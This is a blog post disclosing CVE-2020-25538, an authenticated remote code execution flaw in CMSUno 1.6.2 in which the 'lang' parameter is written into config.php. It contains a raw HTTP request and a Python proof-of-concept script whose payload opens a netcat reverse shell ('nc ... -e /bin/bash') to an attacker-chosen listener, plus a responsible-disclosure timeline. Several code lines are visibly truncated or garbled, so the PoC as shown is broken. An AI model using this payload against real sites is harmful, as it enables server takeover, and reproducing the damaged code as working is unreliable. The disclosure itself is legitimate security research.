December 14, 2020 / blog yazısı

Zero Day Hunting Diaries - 1

CMSUno 1.6.2 - Remote Code Execution [Authenticated] (config.php) CVE-2020-25538


Version: 1.6.2

Vulnerability: Code Injection

CVE: CVE-2020-25538



When I read the source code of the “/uno/central.php” file I realized the web application operates the language functionality with a file named “config.php”. So application includes this file in some pages. Below the initial content of the config.php file.

If I am able to change the content of the “config.php” file, this file will be imported in the “uno.php” page and I will be able to run PHP code on the server. config.php file will be imported like below in uno.php file.

So good. But how am I able to do changes in “config.php” file. Let’s look at the source code of the “/uno/central.php” file.

You can see above, if some conditions are met, application will insert $_POST[‘lang’] parameter’s value into config.php file. So, if I send the below POST request to that endpoint, I will change the content of the config.php file and my malicious code will be run in uno.php file.

POST Request:
POST /cmsuno/uno/central.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 146
Connection: close
Cookie: PHPSESSID=05hdpbc7jvk4qc2u7mloqdlvpc
system('nc.traditional 9090 -e bin/bash');?>//

After sending this request content of the config.php file like below.

Finally, if I go to the uno.php page, my code will be run and I will get a reverse shell like below.


I wrote the PoC for this vulnerability. You can use my PoC code below to test your version is vulnerable or not. Don’t forget the get backup of your config.php file.

import requests
from bs4 import BeautifulSoup
import lxml
import json

username = input("username: ")

password = input("password: ")

root_url = input("Root URL: --> ")

listener_ip = input("Your ip: ")

listener_port = input("Your port for reverse shell: ")

login_url = root_url + "/uno.php"

vulnerable_url = root_url + "/uno/central.php"

session = requests.Session()

request = session.get(login_url)

#Get the unox value
soup = BeautifulSoup(request.text,"lxml")

unox = soup.find("input",{'name':'unox'})['value']

body = {"unox":unox,"user":username,"pass":password}, data=body)

#Get the second unox value
request = session.get(login_url)

unox = soup.find("input",{'name':'unox'})['value']

header = {

"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",

"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0",


"Accept-Encoding": "gzip, deflate",

"X-Requested-With": "XMLHttpRequest",

"Origin": login_url,

"Connection": "close",

"Referer": login_url


payload = 'en";system(\'nc.traditional {} {} -e /bin/bash\');?>// '.format(listener_ip,

while True:

 body = 'action=sauvePass&unox={}&user0=&pass0=&user=&pass=&lang={}'.format(unox,payload), data=(json.dumps(body)).replace("\\","")[1:-1],headers=header)
 request = session.get(login_url)
 text = request.text
 soup = BeautifulSoup(text,"lxml")
 script = soup.findAll('script')[1].string
 data = script.split("Unox='")[1]
 unox = data.split("',")[0]

Disclosure Timeline

12 September 2020 - First Contact

29 September 2020 - Released CMSUno Version 1.6.3

30 September 2020 - Responsible Disclosure